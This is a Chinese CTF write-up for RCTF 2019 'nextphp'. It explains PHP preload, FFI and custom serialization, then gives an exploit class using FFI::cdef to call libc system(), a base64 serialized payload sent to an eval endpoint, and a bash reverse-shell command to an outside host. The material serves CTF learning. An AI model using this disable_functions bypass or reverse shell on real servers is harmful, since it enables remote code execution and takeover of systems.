[RCTF 2019]nextphp

文章目录


考点

PHP伪协议、反序列化、FFI

前置知识

PHP RFC:预加载

官方文档

通过查看该文档,在最下面找到预加载结合FFI的危害

FFI基本用法

官方文档

查看文档,可以看到给出的第一个例子

执行过程为创建 FFI 对象,加载 libc 并导出函数 printf()

<?php
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // 这是常规 C 声明
    "libc.so.6");
$ffi->printf("Hello %s!\n", "world");

不难发现,FFI可以从共享库调用函数

使用方法如下

FFI::cdef("int system(const char* command)", "libc.so.6")

第一个参数为在C代码中的函数原型;第二个参数为指定的共享库,但在不指定第二个参数的情况下,会在默认路径下进行搜索。一般来说也能找到想要的函数,那么我们是否可以绕过disable_function的限制?

PHP RFC:新的自定义对象序列化机制

官方文档

在php版本7.4或更高的版本中将 __serialize()__unserialize() 添加到类中,而无需考虑兼容性

文档中给出了实例

class A implements Serializable {
    private $prop;
    public function serialize() {
        return serialize($this->prop);
    }
    public function unserialize($payload) {
        $this->prop = unserialize($payload);
    }
}
class B extends A {
    private $prop;
    public function serialize() {
        return serialize([$this->prop, parent::serialize()])
    }
    public function unserialize($payload) {
        [$prop, $parent] = unserialize($payload);
        parent::unserialize($parent);
        $this->prop = $prop;
    }
}

作者指出这种形式的代码无法可靠运行,因为嵌套的 serialize() 和 unserialize() 调用是以不同顺序执行的

因为在序列化过程中,首先执行 A::serialize() 中的 serialize() 调用,然后执行 B::serialize() 中的 serialize() 调用。相反,在解序列化过程中,首先执行 B::unserialize() 中的 unserialize() 调用,然后执行 A::unserialize() 中的 unserialize() 调用。由于调用顺序的差异,在序列化过程中创建的反向引用在解序列化过程中将不再正确。

所以是存在漏洞的,因此作者提出引入 __serialize()和__unserialize()方法使其更安全

如果一个类同时实现了 Serialized 和 __serialize()或者是__unserialize(),那么序列化将优先选择新机制,而反序列化可以使用其中任何一个,具体取决于是否使用 C (Serialized) 或 O (__unserialize) 格式。因此,以 C 格式编码的旧序列化字符串仍然可以被解码,而新字符串将以 O 格式生成。

这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__unserialize()删除

(因为我们要命令执行当坏人)

解题过程

打开题目,源码如下

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

简单的命令执行,我们先查看phpinfo信息搜集

可以看到过滤了很多函数
然后注意到存在文件preload.php

我们结合php伪协议读取下源码

?a=include('php://filter/read=convert.base64-encode/resource=preload.php');

base64解码

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

可以发现和平常做的反序列化代码不太一样,思路是调用run方法命令执行。但是问题来了,题目禁用了大部分函数,我们哪怕构造出链子也无法实现rce。

看到该文件名preload为预加载,可以去网上搜搜相关文章(前置知识我已经贴了链接)

发现与FFI结合会存在危害,我们在phpinfo发现为开启

那么我们就可以结合FFI语法知识,利用run()函数可以将ret变为一个外部函数接口,我们再通过ret调用系统命令,完成RCE

不过方法究竟选哪个是有原因的,分析一下

public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

我们在前置知识已经讲过php版本大于7.4会优先调用__unserialize(),看到源码处并没有我们能实现反序列化而unserialize()则有这功能,所以在构造exp我们要选择留下unserialize方法

exp如下

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char* command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}

$a=new A();
echo base64_encode(serialize($a));

然后构造payload

?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))

实现了FFI::cdef("int system(const char* command);")

只需调用即可,通过设置__serialize()['ret']的值获取flag

$a->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");

整理一下得到最终payload

?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");

这里我没弹成功,如果有师傅会的话教教

相关推荐
埋头编程~1 小时前
【C++】踏上C++学习之旅(十):深入“类和对象“世界,掌握编程黄金法则(五)(最终篇,内含初始化列表、静态成员、友元以及内部类等等)
java·c++·学习
vortex51 小时前
渗透的本质是信息收集——一点思考
安全·web安全·渗透·信息收集
世伟爱吗喽2 小时前
NUXT3学习日记四(路由中间件、导航守卫)
学习
Elihuss3 小时前
ONVIF协议操作摄像头方法
开发语言·php
飞凌嵌入式3 小时前
飞凌嵌入式旗下教育品牌ElfBoard与西安科技大学共建「科教融合基地」
嵌入式硬件·学习·嵌入式·飞凌嵌入式
找藉口是失败者的习惯3 小时前
Jetpack Compose 如何布局解析
android·xml·ui
bluetata3 小时前
【云计算网络安全】解析 Amazon 安全服务:构建纵深防御设计最佳实践
安全·web安全·云计算·aws·亚马逊云科技
Estar.Lee8 小时前
查手机号归属地免费API接口教程
android·网络·后端·网络协议·tcp/ip·oneapi
温辉_xh8 小时前
uiautomator案例
android
Red Red9 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全